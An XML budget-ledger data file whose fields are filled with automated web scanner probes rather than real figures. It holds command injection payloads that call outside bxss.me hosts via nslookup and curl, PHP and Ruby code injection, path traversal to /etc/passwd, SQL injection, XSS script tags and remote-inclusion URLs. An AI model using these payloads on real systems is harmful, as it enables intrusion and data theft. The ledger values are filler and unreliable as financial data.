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<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>Http://bxss.me/t/fit.txt</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>${@print(md5(31337))}</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>)</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
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<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>bxss.me</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>../../../../../../../../../../../../../../etc/shells</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102&amp;n916837=v920320</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>bxss.me/t/xss.html?%00</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU&amp;n920073=v929188</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>HttP://bxss.me/t/xss.html?%00</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>&amp;echo njkcch$()\ tenwpj\nz^xyu||a #' &amp;echo njkcch$()\ tenwpj\nz^xyu||a #|" &amp;echo njkcch$()\ tenwpj\nz^xyu||a #</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
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Socket.gethostbyname("hittm"+"osgvyxco61619.bxss.me.")[3].to_s)+"</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>-1 OR 5*5=25</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>bxss.me/t/xss.html?%00</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1eefRkQfv</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>"+"A".concat(70-3).concat(22*4).concat(110).concat(82).concat(118).concat(85)+(require"socket"
Socket.gethostbyname("hitjd"+"gscslnli5aec1.bxss.me.")[3].to_s)+"</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1&amp;n915071=v980160</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>${@print(md5(31337))}\</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>${@print(md5(31337))}</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU&amp;n924486=v913821</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>HttP://bxss.me/t/xss.html?%00</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>QWNBMlJEUzM=</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>MXdabWEwVUM=</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>HttP://bxss.me/t/xss.html?%00</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>'.print(md5(31337)).'</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>${@print(md5(31337))}</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>'.print(md5(31337)).'</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>Http://bxss.me/t/fit.txt</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>bxss.me</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>${@print(md5(31337))}</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>";print(md5(31337));$a="</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>../../../../../../../../../../../../../../etc/shells</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>"+"A".concat(70-3).concat(22*4).concat(115).concat(87).concat(116).concat(74)+(require"socket"
Socket.gethostbyname("hitnj"+"utpeonwve6764.bxss.me.")[3].to_s)+"</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>/etc/shells</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>;(nslookup -q=cname hitxtcjzytmzz323e8.bxss.me||curl hitxtcjzytmzz323e8.bxss.me)|(nslookup -q=cname hitxtcjzytmzz323e8.bxss.me||curl hitxtcjzytmzz323e8.bxss.me)&amp;(nslookup -q=cname hitxtcjzytmzz323e8.bxss.me||curl hitxtcjzytmzz323e8.bxss.me)</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>19174404</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>../../../../../../../../../../../../../../etc/passwd</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>|(nslookup -q=cname hitjhcqhwyyoza0a0c.bxss.me||curl hitjhcqhwyyoza0a0c.bxss.me)</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>&lt;!--</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>&amp;(nslookup -q=cname hittmucuxvpszf1153.bxss.me||curl hittmucuxvpszf1153.bxss.me)&amp;'\"`0&amp;(nslookup -q=cname hittmucuxvpszf1153.bxss.me||curl hittmucuxvpszf1153.bxss.me)&amp;`'</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>&amp;nslookup -q=cname hitrkhpqpjffk06667.bxss.me&amp;'\"`0&amp;nslookup -q=cname hitrkhpqpjffk06667.bxss.me&amp;`'</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>'"()&amp;%&lt;zzz&gt;&lt;ScRiPt &gt;V1xQ(9618)&lt;/ScRiPt&gt;</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102'"()&amp;%&lt;zzz&gt;&lt;ScRiPt &gt;V1xQ(9788)&lt;/ScRiPt&gt;</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
